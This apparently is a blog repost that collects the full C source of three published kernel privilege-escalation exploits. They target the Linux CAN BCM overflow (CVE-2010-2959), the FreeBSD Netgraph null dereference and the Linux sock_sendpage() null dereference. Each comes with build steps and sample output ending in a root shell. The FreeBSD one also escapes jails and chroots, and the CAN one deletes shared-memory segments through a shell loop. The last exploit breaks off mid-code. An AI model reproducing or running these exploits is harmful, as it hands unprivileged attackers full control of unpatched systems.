 * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit  


 * Jon Oberheide <jon@oberheide.org>  


 * http://jon.oberheide.org  


 *   


 * Information:  


 *  


 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959  


 *  


 *   Ben Hawkes discovered an integer overflow in the Controller Area Network  


 *   (CAN) subsystem when setting up frame content and filtering certain   


 *   messages. An attacker could send specially crafted CAN traffic to crash   


 *   the system or gain root privileges.   


 *  


 * Usage:  


 *  


 *   $ gcc i-can-haz-modharden.c -o i-can-haz-modharden  


 *   $ ./i-can-haz-modharden  


 *   ...  


 *   [+] launching root shell!  


 *   # id  


 *   uid=0(root) gid=0(root)  


 *  


 * Notes:  


 *  


 *   The allocation pattern of the CAN BCM module gives us some desirable   


 *   properties for smashing the SLUB. We control the kmalloc with a 16-byte  


 *   granularity allowing us to place our allocation in the SLUB cache of our  


 *   choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for   


 *   old-times sake). The allocation can also be made in its own discrete   


 *   stage before the overwrite which allows us to be a bit more conservative   


 *   in ensuring the proper layout of our SLUB cache.  


 *  


 *   To exploit the vulnerability, we first create a BCM RX op with a crafted   


 *   nframes to trigger the integer overflow during the kmalloc. On the second  


 *   call to update the existing RX op, we bypass the E2BIG check since the   


 *   stored nframes in the op is large, yet has an insufficiently sized   


 *   allocation associated with it. We then have a controlled write into the   


 *   adjacent shmid_kernel object in the 96-byte SLUB cache.  


 *  


 *   However, while we control the length of the SLUB overwrite via a   


 *   memcpy_fromiovec operation, there exists a memset operation that directly   


 *   follows which zeros out last_frames, likely an adjacent allocation, with   


 *   the same malformed length, effectively nullifying our shmid smash. To   


 *   work around this, we take advantage of the fact that copy_from_user can  


 *   perform partial writes on x86 and trigger an EFAULT by setting up a   


 *   truncated memory mapping as the source for the memcpy_fromiovec operation,  


 *   allowing us to smash the necessary amount of memory and then pop out and   


 *   return early before the memset operation occurs.  


 *  


 *   We then perform a dry-run and detect the shmid smash via an EIDRM errno   


 *   from shmat() caused by an invalid ipc_perm sequence number. Once we're   


 *   sure we have a shmid_kernel under our control we re-smash it with the   


 *   malformed version and redirect control flow to our credential modifying  


 *   calls mapped in user space.  


 *  


 *   Distros: please use grsecurity's MODHARDEN or SELinux's module_request   


 *   to restrict unprivileged loading of uncommon packet families. Allowing  


 *   the loading of poorly-written PF modules just adds a non-trivial and   


 *   unnecessary attack surface to the kernel.   


 *  


 *   Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports   


 *   easily to other vulnerable kernels/distros. Careful, it could use some   


 *   post-exploitation stability love as well.  


 *  


 *   Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that   


 *   this exploit borrows code from.  


 */ 


   


#include <stdio.h>  


#include <stdlib.h>  


#include <stdint.h>  


#include <string.h>  


#include <unistd.h>  


#include <errno.h>  


#include <fcntl.h>  


#include <limits.h>  


#include <inttypes.h>  


#include <sys/types.h>  


#include <sys/socket.h>  


#include <sys/ipc.h>  


#include <sys/shm.h>  


#include <sys/mman.h>  


#include <sys/stat.h>  


   


#define SLUB "kmalloc-96"  


#define ALLOCATION 96  


#define FILLER 100  


   


#ifndef PF_CAN  


#define PF_CAN 29  


#endif  


   


#ifndef CAN_BCM  


#define CAN_BCM 2  


#endif  


   


struct sockaddr_can {  


    sa_family_t can_family;  


    int can_ifindex;  


    union {  


        struct { uint32_t rx_id, tx_id; } tp;  


    } can_addr;  


};  


   


struct can_frame {  


    uint32_t can_id;  


    uint8_t can_dlc;  


    uint8_t data[8] __attribute__((aligned(8)));  


};  


   


struct bcm_msg_head {  


    uint32_t opcode;  


    uint32_t flags;  


    uint32_t count;  


    struct timeval ival1, ival2;  


    uint32_t can_id;  


    uint32_t nframes;  


    struct can_frame frames[0];  


};  


   


#define RX_SETUP 5  


#define RX_DELETE 6  


#define CFSIZ sizeof(struct can_frame)  


#define MHSIZ sizeof(struct bcm_msg_head)  


#define IPCMNI 32768  


#define EIDRM 43  


#define HDRLEN_KMALLOC 8  


   


struct list_head {  


    struct list_head *next;  


    struct list_head *prev;  


};  


   


struct super_block {  


    struct list_head s_list;  


    unsigned int s_dev;  


    unsigned long s_blocksize;  


    unsigned char s_blocksize_bits;  


    unsigned char s_dirt;  


    uint64_t s_maxbytes;  


    void *s_type;  


    void *s_op;  


    void *dq_op;  


    void *s_qcop;  


    void *s_export_op;  


    unsigned long s_flags;  


} super_block;  


   


struct mutex {  


    unsigned int count;  


    unsigned int wait_lock;  


    struct list_head wait_list;  


    void *owner;  


};  


   


struct inode {  


    struct list_head i_hash;  


    struct list_head i_list;  


    struct list_head i_sb_list;  


    struct list_head i_dentry_list;  


    unsigned long i_ino;  


    unsigned int i_count;  


    unsigned int i_nlink;  


    unsigned int i_uid;  


    unsigned int i_gid;  


    unsigned int i_rdev;  


    uint64_t i_version;  


    uint64_t i_size;  


    unsigned int i_size_seqcount;  


    long i_atime_tv_sec;  


    long i_atime_tv_nsec;  


    long i_mtime_tv_sec;  


    long i_mtime_tv_nsec;  


    long i_ctime_tv_sec;  


    long i_ctime_tv_nsec;  


    uint64_t i_blocks;  


    unsigned int i_blkbits;  


    unsigned short i_bytes;  


    unsigned short i_mode;  


    unsigned int i_lock;  


    struct mutex i_mutex;  


    unsigned int i_alloc_sem_activity;  


    unsigned int i_alloc_sem_wait_lock;  


    struct list_head i_alloc_sem_wait_list;  


    void *i_op;  


    void *i_fop;  


    struct super_block *i_sb;  


    void *i_flock;  


    void *i_mapping;  


    char i_data[84];  


    void *i_dquot_1;  


    void *i_dquot_2;  


    struct list_head i_devices;  


    void *i_pipe_union;  


    unsigned int i_generation;  


    unsigned int i_fsnotify_mask;  


    void *i_fsnotify_mark_entries;  


    struct list_head inotify_watches;  


    struct mutex inotify_mutex;  


} inode;  


   


struct dentry {  


    unsigned int d_count;  


    unsigned int d_flags;  


    unsigned int d_lock;  


    int d_mounted;  


    void *d_inode;  


    struct list_head d_hash;  


    void *d_parent;  


} dentry;  


   


struct file_operations {  


    void *owner;  


    void *llseek;  


    void *read;  


    void *write;  


    void *aio_read;  


    void *aio_write;  


    void *readdir;  


    void *poll;  


    void *ioctl;  


    void *unlocked_ioctl;  


    void *compat_ioctl;  


    void *mmap;  


    void *open;  


    void *flush;  


    void *release;  


    void *fsync;  


    void *aio_fsync;  


    void *fasync;  


    void *lock;  


    void *sendpage;  


    void *get_unmapped_area;  


    void *check_flags;  


    void *flock;  


    void *splice_write;  


    void *splice_read;  


    void *setlease;  


} op;  


   


struct vfsmount {  


    struct list_head mnt_hash;  


    void *mnt_parent;  


    void *mnt_mountpoint;  


    void *mnt_root;  


    void *mnt_sb;  


    struct list_head mnt_mounts;  


    struct list_head mnt_child;  


    int mnt_flags;  


    const char *mnt_devname;  


    struct list_head mnt_list;  


    struct list_head mnt_expire;  


    struct list_head mnt_share;  


    struct list_head mnt_slave_list;  


    struct list_head mnt_slave;  


    struct vfsmount *mnt_master;  


    struct mnt_namespace *mnt_ns;  


    int mnt_id;  


    int mnt_group_id;  


    int mnt_count;  


} vfsmount;  


   


struct file {  


    struct list_head fu_list;  


    struct vfsmount *f_vfsmnt;  


    struct dentry *f_dentry;  


    void *f_op;  


    unsigned int f_lock;  


    unsigned long f_count;  


} file;  


   


struct kern_ipc_perm {  


    unsigned int lock;  


    int deleted;  


    int id;  


    unsigned int key;  


    unsigned int uid;  


    unsigned int gid;  


    unsigned int cuid;  


    unsigned int cgid;  


    unsigned int mode;  


    unsigned int seq;  


    void *security;  


};  


   


struct shmid_kernel {  


    struct kern_ipc_perm shm_perm;  


    struct file *shm_file;  


    unsigned long shm_nattch;  


    unsigned long shm_segsz;  


    time_t shm_atim;  


    time_t shm_dtim;  


    time_t shm_ctim;  


    unsigned int shm_cprid;  


    unsigned int shm_lprid;  


    void *mlock_user;  


} shmid_kernel;  


   


typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);  


typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);  


_commit_creds commit_creds;  


_prepare_kernel_cred prepare_kernel_cred;  


   


int __attribute__((regparm(3)))  


kernel_code(struct file *file, void *vma)  


{  


    commit_creds(prepare_kernel_cred(0));  


    return -1;  


}  


   


unsigned long 


get_symbol(char *name)  


{  


    FILE *f;  


    unsigned long addr;  


    char dummy;  


    char sname[512];  


    int ret = 0, oldstyle;  


   


    f = fopen("/proc/kallsyms", "r");  


    if (f == NULL) {  


        f = fopen("/proc/ksyms", "r");  


        if (f == NULL)  


            return 0;  


        oldstyle = 1;  


    }  


   


    while (ret != EOF) {  


        if (!oldstyle) {  


            ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);  


        } else {  


            ret = fscanf(f, "%p %s\n", (void **) &addr, sname);  


            if (ret == 2) {  


                char *p;  


                if (strstr(sname, "_O/") || strstr(sname, "_S.")) {  


                    continue;  


                }  


                p = strrchr(sname, '_');  


                if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {  


                    p = p - 4;  


                    while (p > (char *)sname && *(p - 1) == '_') {  


                        p--;  


                    }  


                    *p = '\0';  


                }  


            }  


        }  


        if (ret == 0) {  


            fscanf(f, "%s\n", sname);  


            continue;  


        }  


        if (!strcmp(name, sname)) {  


            printf("[+] resolved symbol %s to %p\n", name, (void *) addr);  


            fclose(f);  


            return addr;  


        }  


    }  


    fclose(f);  


   


    return 0;  


}  


   


int 


check_slabinfo(char *cache, int *active_out, int *total_out)  


{  


    FILE *fp;  


    char name[64], slab[256];  


    int active, total, diff;  


   


    memset(slab, 0, sizeof(slab));  


    memset(name, 0, sizeof(name));  


   


    fp = fopen("/proc/slabinfo", "r");  


    if (!fp) {  


        printf("[-] sorry, /proc/slabinfo is not available!");  


        exit(1);  


    }  


   


    fgets(slab, sizeof(slab) - 1, fp);  


    while (1) {  


        fgets(slab, sizeof(slab) - 1, fp);  


        sscanf(slab, "%s %u %u", name, &active, &total);  


        diff = total - active;  


        if (strcmp(name, cache) == 0) {  


            break;  


        }  


    }  


    fclose(fp);  


   


    if (active_out) {  


        *active_out = active;  


    }  


    if (total_out) {  


        *total_out = total;  


    }  


    return diff;  


}  


   


void 


trigger(void)  


{  


    int *shmids;  


    int i, ret, sock, cnt, base, smashed;  


    int diff, active, total, active_new, total_new;  


    int len, sock_len, mmap_len;  


    struct sockaddr_can addr;  


    struct bcm_msg_head *msg;  


    void *efault;  


    char *buf;  


   


    printf("[+] creating PF_CAN socket...\n");  


   


    sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);  


    if (sock < 0) {  


        printf("[-] kernel lacks CAN packet family support\n");  


        exit(1);  


    }  


   


    printf("[+] connecting PF_CAN socket...\n");  


   


    memset(&addr, 0, sizeof(addr));  


    addr.can_family = PF_CAN;  


   


    ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));  


    if (sock < 0) {  


        printf("[-] could not connect CAN socket\n");  


        exit(1);  


    }  


   


    len = MHSIZ + (CFSIZ * (ALLOCATION / 16));  


    msg = malloc(len);  


    memset(msg, 0, len);  


    msg->can_id = 2959;  


    msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;  


   


    printf("[+] clearing out any active OPs via RX_DELETE...\n");  


       


    msg->opcode = RX_DELETE;  


    ret = send(sock, msg, len, 0);  


   


    printf("[+] removing any active user-owned shmids...\n");  


   


    system("for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2>&1; done;");  


   


    printf("[+] massaging " SLUB " SLUB cache with dummy allocations\n");  


   


    diff = check_slabinfo(SLUB, &active, &total);  


   


    shmids = malloc(sizeof(int) * diff * 10);  


   


    cnt = diff * 10;  


    for (i = 0; i < cnt; ++i) {  


        diff = check_slabinfo(SLUB, &active, &total);  


        if (diff == 0) {  


            break;  


        }  


        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);  


    }  


    base = i;  


   


    if (diff != 0) {  


        printf("[-] inconsistency detected with SLUB cache allocation, please try again\n");  


        exit(1);  


    }  


   


    printf("[+] corrupting BCM OP with truncated allocation via RX_SETUP...\n");  


   


    i = base;  


    cnt = i + FILLER;  


    for (; i < cnt; ++i) {  


        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);  


    }  


   


    msg->opcode = RX_SETUP;  


    ret = send(sock, msg, len, 0);  


    if (ret < 0) {  


        printf("[-] kernel rejected malformed CAN header\n");  


        exit(1);  


    }  


   


    i = base + FILLER;  


    cnt = i + FILLER;  


    for (; i < cnt; ++i) {  


        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);  


    }  


   


    printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n");  


   


    mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);  


    sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);  


    efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);  


   


    printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault);  


   


    printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");  


   


    msg = (struct bcm_msg_head *) efault;  


    memset(msg, 0, mmap_len);  


    msg->can_id = 2959;  


    msg->nframes = (ALLOCATION / 16) * 4;  


   


    msg->opcode = RX_SETUP;  


    ret = send(sock, msg, mmap_len, 0);  


    if (ret != -1 && errno != EFAULT) {  


        printf("[-] couldn't trigger EFAULT, exploit aborting!\n");  


        exit(1);  


    }  


   


    printf("[+] seeking out the smashed shmid_kernel...\n");  


   


    i = base;  


    cnt = i + FILLER + FILLER;  


    for (; i < cnt; ++i) {  


        ret = (int) shmat(shmids[i], NULL, SHM_RDONLY);  


        if (ret == -1 && errno == EIDRM) {  


            smashed = i;  


            break;  


        }  


    }  


    if (i == cnt) {  


        printf("[-] could not find smashed shmid, trying running the exploit again!\n");  


        exit(1);  


    }  


       


    printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %d\n", i, shmids[i]);  


   


    printf("[+] re-smashing the shmid_kernel with exploit payload...\n");  


   


    shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI;  


   


    buf = (char *) msg;  


    memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));   


   


    msg->opcode = RX_SETUP;  


    ret = send(sock, msg, mmap_len, 0);  


    if (ret != -1 && errno != EFAULT) {  


        printf("[-] couldn't trigger EFAULT, exploit aborting!\n");  


        exit(1);  


    }  


       


    ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY);  


    if (ret == -1 && errno != EIDRM) {  


        setresuid(0, 0, 0);  


        setresgid(0, 0, 0);  


   


        printf("[+] launching root shell!\n");  


   


        execl("/bin/bash", "/bin/bash", NULL);  


        exit(0);  


    }  


   


    printf("[-] exploit failed! retry?\n");  


}  


   


void 


setup(void)  


{  


    printf("[+] looking for symbols...\n");  


   


    commit_creds = (_commit_creds) get_symbol("commit_creds");  


    if (!commit_creds) {  


        printf("[-] symbol table not availabe, aborting!\n");  


    }  


   


    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");  


    if (!prepare_kernel_cred) {  


        printf("[-] symbol table not availabe, aborting!\n");  


    }  


   


    printf("[+] setting up exploit payload...\n");  


   


    super_block.s_flags = 0;  


   


    inode.i_size = 4096;  


    inode.i_sb = &super_block;  


    inode.inotify_watches.next = &inode.inotify_watches;  


    inode.inotify_watches.prev = &inode.inotify_watches;  


    inode.inotify_mutex.count = 1;  


   


    dentry.d_count = 4096;  


    dentry.d_flags = 4096;  


    dentry.d_parent = NULL;  


    dentry.d_inode = &inode;  


   


    op.mmap = &kernel_code;  


    op.get_unmapped_area = &kernel_code;  


   


    vfsmount.mnt_flags = 0;  


    vfsmount.mnt_count = 1;  


   


    file.fu_list.prev = &file.fu_list;  


    file.fu_list.next = &file.fu_list;  


    file.f_dentry = &dentry;  


    file.f_vfsmnt = &vfsmount;  


    file.f_op = &op;  


   


    shmid_kernel.shm_perm.key = IPC_PRIVATE;  


    shmid_kernel.shm_perm.uid = getuid();  


    shmid_kernel.shm_perm.gid = getgid();  


    shmid_kernel.shm_perm.cuid = getuid();  


    shmid_kernel.shm_perm.cgid = getgid();  


    shmid_kernel.shm_perm.mode = -1;  


    shmid_kernel.shm_file = &file;  


}  


   


int 


main(int argc, char **argv)  


{  


    setup();  


    trigger();  


    return 0;  



Posted by k1rha
2012. 4. 15. 02:55

/*  


 * FreeBSD <= 6.4-RELEASE Netgraph Exploit  


 * by zx2c4  


 *   


 *   


 * This is an exploit for CVE-2008-5736, the FreeBSD protosw  


 * and loosely based on Don Bailey's 2008 exploit -  


 * http://www.exploit-db.com/exploits/7581/ . The thing with  


 * Don's exploit is that it relies on having a known location  


 * of allproc, which means having access to the kernel or  


 * debugging symbols, either of which might not be available.  


 * Initial attempts included a general memory search for some  


 * characteristics of allproc, but this was difficult to make  


 * reliable. This solution here is a much more standard - get  


 * the current thread, change its permissions, and execl to  


 * shell. Additionally, it breaks out of chroots and freebsd  


 * jails by reparenting to pid 1 and copying its fds.  


 *  


 * This reliably works on kernels on or below 6.4-RELEASE:  


 *  


 * $ gcc a.c  


 * $ ./a.out  


 * ~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~  


 * ~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~  


 * ~~~~~ greetz to don bailey, edemveiss ~~~~~  


 *  


 * [+] mmapping null page  


 * [+] adding jmp to pwnage in null page  


 * [+] opening netgraph socket  


 * [+] triggering null dereference  


 * [+] elevating permissions  


 * [+] got root!  


 * #  


 *  


 * It's an oldie, but simple enough that someone needed  


 * to write another PoC exploit at some point.  


 *  


 * cheers,  


 * zx2c4, 27-2-2011  


 *  


 */ 


   


#define _KERNEL  


#include <sys/types.h>  


#include <sys/time.h>  


#include <sys/param.h>  


#include <sys/proc.h>  


#include <sys/ucred.h>  


#include <sys/mman.h>  


#include <sys/socket.h>  


#include <sys/stat.h>  


#include <sys/filedesc.h>  


#include <sys/queue.h>  


#include <netgraph/ng_socket.h>  


#include <stdio.h>  


#include <fcntl.h>  


#include <unistd.h>  


   


#define PAGES 1  


   


   


volatile int got_root = 0;  


int root(void)  


{  


    struct thread *thread;  


    asm(  


        "movl %%fs:0, %0" 


        : "=r"(thread)  


    );  


    thread->td_critnest = 0;  


    thread->td_proc->p_ucred->cr_uid = 0;  


    thread->td_proc->p_ucred->cr_prison = NULL;  


   


    struct proc *parent = thread->td_proc;  


    while (parent->p_pptr && parent->p_pid != 1)  


        parent = parent->p_pptr;  


    thread->td_proc->p_fd->fd_rdir = parent->p_fd->fd_rdir;  


    thread->td_proc->p_fd->fd_jdir = parent->p_fd->fd_jdir;  


    thread->td_proc->p_fd->fd_cdir = parent->p_fd->fd_cdir;  


    thread->td_proc->p_pptr = parent;  


   


    got_root = 1;  


    return 0;  


}  


   


int main(int argc, char *argv[])  


{  


    printf("~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~\n");  


    printf("~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~\n");  


    printf("~~~~~ greetz to don bailey, edemveiss ~~~~~\n\n");  


   


    printf("[+] mmapping null page\n");  


    if (mmap(NULL, PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {  


        perror("[-] mmap failed");  


        return -1;  


    }  


   


    printf("[+] adding jmp to pwnage in null page\n");  


    *(char*)0x0 = 0x90;  


    *(char*)0x1 = 0xe9;  


    *(unsigned long*)0x2 = (unsigned long)&root;  


   


    printf("[+] opening netgraph socket\n");  


    int s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);  


    if (s < 0) {  


        perror("[-] failed to open netgraph socket");  


        return -1;  


    }  


   


    printf("[+] triggering null dereference\n");  


    shutdown(s, SHUT_RDWR);  


   


    if (!got_root) {  


        printf("[-] failed to trigger pwnage\n");  


        return -1;  


    }  


   


    printf("[+] elevating permissions\n");  


    setuid(0);    


    setgid(0);  


    if (getuid() != 0) {  


        printf("[-] failed to get root\n");  


        return -1;  


    }  


   


    printf("[+] got root!\n");  


    execl("/bin/sh", "sh", NULL);  


   


    return 0;  



Posted by k1rha
2012. 4. 15. 02:55

/*  


 *  Linux sock_sendpage() NULL pointer dereference  


 *  Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>  


 *  


 *  This program is free software; you can redistribute it and/or modify  


 *  it under the terms of the GNU General Public License as published by  


 *  the Free Software Foundation; either version 2 of the License, or  


 *  (at your option) any later version.  


 *  


 *  This program is distributed in the hope that it will be useful,  


 *  but WITHOUT ANY WARRANTY; without even the implied warranty of  


 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  


 *  GNU General Public License for more details.  


 *  


 *  You should have received a copy of the GNU General Public License  


 *  along with this program; if not, write to the Free Software  


 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA  


 *  


 */ 


   


/*  


 * This exploit was written to illustrate the exploitability of this  


 * vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc  


 * and ppc64.  


 *  


 * This exploit makes use of the SELinux and the mmap_min_addr problem to  


 * exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.  


 * The problem, first noticed by Brad Spengler, was described by Red Hat in  


 * Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and  


 * the mmap_min_addr protection[2].  


 *  


 * Support for i386 and x86_64 was added for completeness. For a more complete  


 * implementation, refer to Brad Spengler's exploit[3], which also implements  


 * the personality trick[4] published by Tavis Ormandy and Julien Tinnes.  


 *  


 * Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4  


 * are vulnerable.  


 *  


 * This exploit was tested on:  


 *  


 * CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable  


 * CentOS 5.3 (2.6.18-128.4.1.el5)  


 * CentOS 5.3 (2.6.18-128.2.1.el5)  


 * CentOS 5.3 (2.6.18-128.1.16.el5)  


 * CentOS 5.3 (2.6.18-128.1.14.el5)  


 * CentOS 5.3 (2.6.18-128.1.10.el5)  


 * CentOS 5.3 (2.6.18-128.1.6.el5)  


 * CentOS 5.3 (2.6.18-128.1.1.el5)  


 * CentOS 5.3 (2.6.18-128.el5)  


 * CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable  


 * CentOS 4.8 (2.6.9-89.0.7.EL)  


 * CentOS 4.8 (2.6.9-89.0.3.EL)  


 * CentOS 4.8 (2.6.9-89.EL)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)  


 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable  


 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)  


 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)  


 * Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)  


 * SUSE Linux Enterprise Server 11 (2.6.27.19-5)  


 * SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)  


 * Ubuntu 8.10 (2.6.27-14) is not vulnerable  


 * Ubuntu 8.10 (2.6.27-11)  


 * Ubuntu 8.10 (2.6.27-9)  


 * Ubuntu 8.10 (2.6.27-7)  


 *  


 * For i386 and ppc, compile with the following command:  


 * gcc -Wall -o linux-sendpage linux-sendpage.c  


 *  


 * And for x86_64 and ppc64:  


 * gcc -Wall -m64 -o linux-sendpage linux-sendpage.c  


 *  


 * [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html  


 * [2] http://kbase.redhat.com/faq/docs/DOC-18042  


 * [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz  


 * [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html  


 */ 


   


#include <stdio.h>  


#include <stdlib.h>  


#include <string.h>  


#include <sys/mman.h>  


#include <sys/sendfile.h>  


#include <sys/types.h>  


#include <sys/socket.h>  


#include <unistd.h>  


   


#if !defined(__always_inline)  


#define __always_inline inline __attribute__((always_inline))  


#endif  


   


#if defined(__i386__) || defined(__x86_64__)  


#if defined(__LP64__)  


static __always_inline unsigned long 


current_stack_pointer(void)  


{  


    unsigned long sp;  


   


    asm volatile ("movq %%rsp,%0; " : "=r" (sp));  


   


    return sp;  


}  


   


#else  


static __always_inline unsigned long 


current_stack_pointer(void)  


{  


    unsigned long sp;  


   


    asm volatile ("movl %%esp,%0" : "=r" (sp));  


   


    return sp;  


}  


   


#endif  


   


#elif defined(__powerpc__) || defined(__powerpc64__)  


static __always_inline unsigned long 


current_stack_pointer(void)  


{  


    unsigned long sp;  


   


    asm volatile ("mr %0,%%r1; " : "=r" (sp));  


   


    return sp;  


}  


   


#endif  


   


#if defined(__i386__) || defined(__x86_64__)  


#if defined(__LP64__)  


static __always_inline unsigned long 


current_task_struct(void)  


{  


    unsigned long task_struct;  


   


    asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));  


   


    return task_struct;  


}  


   


#else  


#define TASK_RUNNING 0  


   


static __always_inline unsigned long 


current_task_struct(void)  


{  


    unsigned long task_struct, thread_info;  


   


    thread_info = current_stack_pointer() & ~(4096 - 1);  


   


    if (*(unsigned long *)thread_info >= 0xc0000000) {  


        task_struct = *(unsigned long *)thread_info;  


   


        /*  


         * The TASK_RUNNING is the only possible state for a process executing  


         * in user-space.  


         */ 


        if (*(unsigned long *)task_struct == TASK_RUNNING)  


            return task_struct;  


    }  


   


    /*  


     * Prior to the 2.6 kernel series, the task_struct was stored at the end  


     * of the kernel stack.  


     */ 


    task_struct = current_stack_pointer() & ~(8192 - 1);  


   


    if (*(unsigned long *)task_struct == TASK_RUNNING)  


        return task_struct;  


   


    thread_info = task_struct;  


   


    task_struct = *(unsigned long *)thread_info;  


   


    if (*(unsigned long *)task_struct == TASK_RUNNING)  


        return task_struct;  


   


    return -1;  


}  


   


#endif  


   


#elif defined(__powerpc__) || defined(__powerpc64__)  


#define TASK_RUNNING 0  


   


static __always_inline unsigned long 


current_task_struct(void)  


{  


    unsigned long task_struct, thread_info;  


   


#if defined(__LP64__)  


    task_struct = current_stack_pointer() & ~(16384 - 1);  


   


#else  


    task_struct = current_stack_pointer() & ~(8192 - 1);  


   


#endif  


   


    if (*(unsigned long *)task_struct == TASK_RUNNING)  


        return task_struct;  


   


    thread_info = task_struct;  


   


    task_struct = *(unsigned long *)thread_info;  


   


    if (*(unsigned long *)task_struct == TASK_RUNNING)  


        return task_struct;  


   


    return -1;  


}  


   


#endif  


   


#if defined(__i386__) || defined(__x86_64__)  


static unsigned long uid, gid;  


   


static int 


change_cred(void)  


{  


    unsigned int *task_struct;  


   


    task_struct = (unsigned int *)current_task_struct();  


   


    while (task_struct) {  


        if (task_struct[0] == uid && task_struct[1] == uid &&  


                task_struct[2] == uid && task_struct[3] == uid &&  


                task_struct[4] == gid && task_struct[5] == gid &&  


                task_struct[6] == gid && task_struct[7] == gid) {  


            task_struct[0] = task_struct[1] =  


            task_struct[2] = task_struct[3] =  


            task_struct[4] = task_struct[5] =  


            task_struct[6] = task_struct[7] = 0;  


            break;  


        }  


   


        task_struct++;  


    }  


   


    return -1;  


}  


   


#elif defined(__powerpc__) || defined(__powerpc64__)  


static int 


change_cred(void)  


{  


    unsigned int *task_struct;  


   


    task_struct = (unsigned int *)current_task_struct();  


   


    while (task_struct) {  


        if (!task_struct[0]) {  


            task_struct++;  


            continue;  


        }  


   


        if (task_struct[0] == task_struct[1] &&  


                task_struct[0] == task_struct[2] &&  


                task_struct[0] == task_struct[3] &&  


                task_struct[4] == task_struct[5] &&  


                task_struct[4] == task_struct[6] &&  


                task_struct[4] == task_struct[7]) {  


            task_struct[0] = task_struct[1] =  


            task_struct[2] = task_struct[3] =  


            task_struct[4] = task_struct[5] =  


            task_struct[6] = task_struct[7] = 0;  


            break;  


        }  


   


        task_struct++;  


    }  


   


    return -1;  


}  


   


#endif  


   


#define PAGE_SIZE getpagesize()  


   


int 


main(void)  


{  


    char *addr;  


    int out_fd, in_fd;  


    char template[] = "/tmp/tmp.XXXXXX";  


   


#if defined(__i386__) || defined(__x86_64__)  


    uid = getuid(), gid = getgid();  


   


#endif  


   


    if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|  


            MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {  


        perror("mmap");  


        exit(EXIT_FAILURE);  


    }  


   


#if defined(__i386__) || defined(__x86_64__)  


#if defined(__LP64__)  


    addr[0] = '\xff';  


    addr[1] = '\x24';  


    addr[2] = '\x25';  


    *(unsigned long *)&addr[3] = 8;  


    *(unsigned long *)&addr[8] = (unsigned long)change_cred;  


   


#else  


    addr[0] = '\xff';  


    addr[1] = '\x25';  


    *(unsigned long *)&addr[2] = 8;  


